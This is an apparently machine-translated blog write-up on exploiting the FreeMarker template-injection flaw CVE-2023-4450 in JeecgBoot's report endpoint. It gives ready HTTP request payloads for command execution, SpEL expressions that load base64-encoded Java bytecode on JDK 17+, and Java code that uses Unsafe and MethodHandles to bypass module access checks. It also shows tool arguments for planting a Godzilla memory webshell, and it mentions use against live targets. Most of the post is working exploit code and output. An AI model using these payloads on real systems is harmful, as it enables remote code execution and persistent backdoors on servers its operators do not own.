in ,

JDK 17+ FreeMarker SSTI: Research on the MethodHandle handle and named module mechanism derived from CVE-2023-4450 recurrence


This hole in the building block report has been open to the public for a long time. It is a FreeMarker SSTI. When it was reproduced before, version 1.6.0 was used to test that it could execute commands and type memory horses, so I stopped taking care of it. I have heard a lot about this hole recently. After discussion, the following payload can be used to execute commands, but the memory horse cannot be injected, so I decided to follow this hole again, and I did not expect to gain a lot.

POST /jmreport/queryFieldBySql HTTP/1.1
Host:
Accept: application/json, text/plain, */*
Content-Type: application/json

{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"id\") }'" }

0x01 Find available payload json format

Directly type the payload of freeMarker and it will appear in org.jeecg.modules.jmreport.desreport.util.f#a() This method encountered the problem of regular backtracking. After searching, I saw Technical Research | Jeecg-Boot SSTI Vulnerability Exploitation Research This article gives the following payload, which is loaded using script

image-20240502021123023

POST /jmreport/queryFieldBySql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Content-Type: application/json
JWfzTzb: hostname

{
"sql":"call${\"freemarker.template.utility.ObjectConstructor\"?new()(\"javax.script.ScriptEngineManager\").getEngineByName(\"js\").eval('data=\"yv66v....\";bytes=\"\".getBytes();try{bytes=java.util.Base64.getDecoder().decode(data);}catch(e){aClass=java.lang.Class.forName(\"sun.misc.BASE64Decoder\");object=aClass.newInstance();bytes=aClass.getMethod(\"decodeBuffer\",java.lang.String.class).invoke(object,data);}classLoader=java.lang.Thread.currentThread().getContextClassLoader();try{clazz=classLoader.loadClass(\"org.apache.util.readonlyiterator.collections.Wicket\");clazz.newInstance();}catch(err){defineClassMethod=java.lang.Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod(\"defineClass\",\"\".getBytes().getClass(),java.lang.Integer.TYPE,java.lang.Integer.TYPE);defineClassMethod.setAccessible(true);loadedClass=defineClassMethod.invoke(classLoader,bytes,0,bytes.length);loadedClass.newInstance();};#{1};')}","dbSource":"","type":"0"}

The first version I encountered during the actual test was version 1.4.3. The above payload will encounter an error. It seems that the higher version does not have the lower version.

image-20240503231958181

Follow up /queryFieldBySql interface, and a paramArray parameter

image-20240503232216065

I finally participated in the analysis and didn’t have to think about backtracking.

image-20240503232306448

So the final payload is as follows

{"sql": "select '${x}'", "dbSource": "", "type": "0", "paramArray": "({\"paramName\": \"x\", \"paramTxt\": \"\", \"orderNum\": 1, \"tableIndex\": 1, \"id\": \"\", \"paramValue\": \"  freemarker payload......  \", \"extJson\": \"\", \"_index\": 0, \"_rowKey\": \"105\"})"}

0x02 SPEL injection (MethodHandle) under higher JDK versions

After solving the above problem, I thought that this vulnerability could be ended, but I encountered another more complex environment. I could execute commands but could not load bytecode. After wandering in circles for a long time, I finally thought of taking a look at the target environment. The system variable is a JDK 18. There are very few articles on the use of higher versions, so I will record it.

POST /jmreport/queryFieldBySql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Content-Type: application/json

{"sql": "select '${x}'", "dbSource": "", "type": "0", "paramArray": "({\"paramName\": \"x\", \"paramTxt\": \"\", \"orderNum\": 1, \"tableIndex\": 1, \"id\": \"\", \"paramValue\": \"${\\\"freemarker.template.utility.ObjectConstructor\\\"?new()(\\\"org.springframework.expression.spel.standard.SpelExpressionParser\\\").parseExpression(\\\"{T(java.lang.System).getProperty('java.version')}\\\").getValue()}\", \"extJson\": \"\", \"_index\": 0, \"_rowKey\": \"105\"})"}

image-20240503231032097

Used by SPEL to load bytecode org.springframework.cglib.core.ReflectUtils This class, this class is located in spring-core The module provides some practical methods for functions such as reflection operations and class loading. For example, the following code will execute open -a Calculator.app

{T(org.springframework.cglib.core.ReflectUtils).defineClass('org.example.Exec',T(java.util.Base64).getDecoder().decode('yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAEwAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY'),new javax.management.loading.MLet(new java.net.URL(0),T(java.lang.Thread).currentThread().getContextClassLoader()))}

Local testing with the same JDK as the environment will throw InaccessibleObjectException Exception, this exception indicates an attempt to call java.lang.ClassLoader.defineClass() Method, introduced in versions after JDK 9 named module mechanism,Will java.* Non-public variables and methods are declared protected and therefore cannot be accessed directly. This restriction is mandatory in JDK 17.

Caused by: java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte(),int,int,java.security.ProtectionDomain) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @4501b7af
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:199)
at java.base/java.lang.reflect.Method.setAccessible(Method.java:193)
at org.springframework.cglib.core.ReflectUtils.defineClass(ReflectUtils.java:552)
... 16 more

The official provision is to allow access to protection methods through startup parameters.

--add-opens java.base/java.lang=ALL-UNNAMED

Let’s put aside the discussion about changing the mechanism. Let’s take a look at the higher version first. ReflectUtils.defineClass() At which step did the method report an error?

in execution classLoaderDefineClassMethod.setAccessible(true); time, because ClassLoader.definessClass() It is a protection method so it cannot continue to be executed.

image-20240502111353936

see back ReflectUtils.defineClass() There is such a description at the beginning of the function Preferred option: JDK 9+ Lookup.defineClass API if ClassLoader matchesdirectly passed in this execution c = (Class) lookupDefineClassMethod.invoke(lookup, b); to create Class, and privateLookupInMethod and lookupDefineClassMethod It has been assigned in the static method,contextClass It is also controllable, so in fact, as long as it satisfies contextClass != null && contextClass.getClassLoader() == loader This condition can realize our needs.

image-20240502111908506

java.lang.invoke.MethodHandles.Lookup Don't confuse them with JNDI lookup. What are they? Official documentation described in A method handle is a typed, directly executable reference to an underlying method, constructor, field, or similar low-level operation, with optional transformations of arguments or return values. To put it simply, before JDK 6, dynamic calls were usually implemented through reflection. In JDK7, the concept of a handle is more like a method pointer. The comparison through command execution is as follows:

    public static void original(String cmd) throws Exception {
Class<?> cls = Class.forName("java.lang.Runtime");
Object runtime = cls.getMethod("getRuntime").invoke(null);
cls.getMethod("exec", String.class).invoke(runtime, cmd);
}

public static void methodHandles(String cmd) throws Throwable {
Class<?> cls = Class.forName("java.lang.Runtime");
MethodHandle execMethod = MethodHandles.lookup().findVirtual(cls, "exec", MethodType.methodType(Process.class, String.class));
execMethod.invoke(cls.getMethod("getRuntime").invoke(null), cmd);
}

MethodHandles It also provides methods to perform protection operations. Common MethodHandles.lookup() Unable to access private methods or fields of a specific class.and privateLookupIn These restrictions can be bypassed by

Let’s go back and take a look at the general Payload. javax.management.loading.MLet This class inherits java.net.URLClassLoader

image-20240502123601472

The ClassLoader passed in the constructor still passes URLClassLoader to deal with it, yes URLClassLoader If you are more familiar with it, you will know that in this step, the parameters are actually passed to the parent class loader for delegated loading.

image-20240502123726386

This will cause a problem in ReflectUtils.defineClass() The method can be seen MLet There is no available class in this loader, so in order to satisfy contextClass.getClassLoader() == loader Under this condition, simply give up on delegated loading and simply use Thread.currentThread().getContextClassLoader()

image-20240502124116265

According to this idea,contextClass Just choose one of the ClassLoaders. Since we are parsing SPEL expressions, just choose any class. org.springframework.expression.ExpressionParser construct this expression

{T(org.springframework.cglib.core.ReflectUtils).defineClass('org.example.Exec',T(java.util.Base64).getDecoder().decode('yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAEwAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY'),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName("org.springframework.expression.ExpressionParser"))}

You can see that an exception is thrown org.example.Exec not in same package as lookup class

image-20240502130200048

The reason is java.lang.invoke.MethodHandles.Lookup.ClassFile#newInstance() In this method, the bytecode class name we loaded is inconsistent with the contextClass passed in during construction.

image-20240502130823359

The solution is also very simple, just define a class in the same package, and the SPEL injection of the higher JDK version is completed.

{T(org.springframework.cglib.core.ReflectUtils).defineClass('org.springframework.expression.Test',T(java.util.Base64).getDecoder().decode('yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAALAAwHACQMACUAJgEAC3N0YXRpYyBFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACNvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABbAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAAWAAUAAAAJAAgACgARAAwAFAALABUADQAPAAAAAgAAABMAAAAHAAJUBwAUAAABABUAAAACABY='),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName("org.springframework.expression.ExpressionParser"))}

image-20240502131129801

-e JavaClass -jht RceEcho -mw Spring -je SPEL,FreeMarker -jme JDK17

jeecg test successful

image-20240503231422123

because ReflectUtils is used Class.forName() Triggered, we directly inject it into Thread.currentThread().getContextClassLoader() in, so use loadClass() load again

image-20240503230939695

0x03 Unsafe bypasses JDK 17 reflection restrictions (named module)

At this point we can already load bytecode through SPEL, but we are still a little short of it. We are still restricted by the named module and cannot use the memory horse.Warning by default in previous versions, after JDK 17Forced to open

Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte().class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
byte() bytecode = Base64.getDecoder().decode("yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAALAAwHACQMACUAJgEAC3N0YXRpYyBFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACNvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABbAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAAWAAUAAAAJAAgACgARAAwAFAALABUADQAPAAAAAgAAABMAAAAHAAJUBwAUAAABABUAAAACABY=");
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
clazz.newInstance();

we are executing defineClass.setAccessible(true); will still be restricted

image-20240503144046772

You can use it following the previous idea MethodHandles.Lookup to load, but there is a problem with the same package name. In fact, there is also a newInstanceNoCheck() Here is another simpler usage, using Unsafe

        Method privateLookupInMethod = MethodHandles.class.getMethod("privateLookupIn", Class.class, MethodHandles.Lookup.class);
Method lookupDefineClassMethod = MethodHandles.Lookup.class.getMethod("defineClass", byte().class);
byte() bytecode = Base64.getDecoder().decode("yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAALAAwHACQMACUAJgEAC3N0YXRpYyBFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACNvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABbAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAAWAAUAAAAJAAgACgARAAwAFAALABUADQAPAAAAAgAAABMAAAAHAAJUBwAUAAABABUAAAACABY=");
MethodHandles.Lookup lookup = (MethodHandles.Lookup) privateLookupInMethod.invoke(null, Class.forName("org.springframework.expression.ExpressionParser"), MethodHandles.lookup());
Class<?> c = (Class<?>) lookupDefineClassMethod.invoke(lookup, bytecode);
c.getDeclaredConstructor().newInstance();

exist GodzillaMemoryShellProject Unsafe was also used in this project to operate fields, and new ideas emerged following this research.follow up java.lang.reflect.Method#setAccessible() method, and finally locate the java.lang.reflect.AccessibleObject#checkCanSetAccessible() judged Module Is it consistent?

image-20240503145715622

Then we can directly use sun.misc.Unsafe#getAndSetObject() Modify the Module and java.* The same way to bypass.

getAndSetObject() Atomically swapped the specified offset offset The current value and the new value of the field at, then return the previous value. This means it first gets the current value of the field, then sets the new value into the field and returns the previous value. Therefore, this method not only sets the new value, but also returns the previous value.on the contraryputObject() There is no return value

image-20240504195544544

image-20240504195458022

Demo is as follows

Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);

Module module = Object.class.getModule();
Class cls = UnsafeDemo.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));

unsafe.getAndSetObject(cls, offset, module);

Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte().class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
byte() bytecode = Base64.getDecoder().decode("yv66vgAAADQALwoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdDsBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAALAAwHACQMACUAJgEAC3N0YXRpYyBFeGVjBwAnDAAoACkHACoMACsALAEAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHAMAC0ALgEAE2phdmEvbGFuZy9FeGNlcHRpb24BACNvcmcvc3ByaW5nZnJhbWV3b3JrL2V4cHJlc3Npb24vVGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABbAAIAAQAAABayAAISA7YABLgABRIGtgAHV6cABEuxAAEAAAARABQACAADAA4AAAAWAAUAAAAJAAgACgARAAwAFAALABUADQAPAAAAAgAAABMAAAAHAAJUBwAUAAABABUAAAACABY=");
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
clazz.newInstance();

pwn

-e JavaClass -jht MemShell -mw Spring -ms Interceptor -msf Godzilla -je SPEL,FreeMarker -jme JDK17 -mt raw

image-20240503165400440

What do you think?

Leave a Reply

Your email address will not be published. Required fields are marked *

GIPHY App Key not set. Please check settings

Tesla has added Dogecoin payment in the North American market, which is also the only cryptocurrency currently supported.

nslookup's Debug Options, (Sun, May 5th)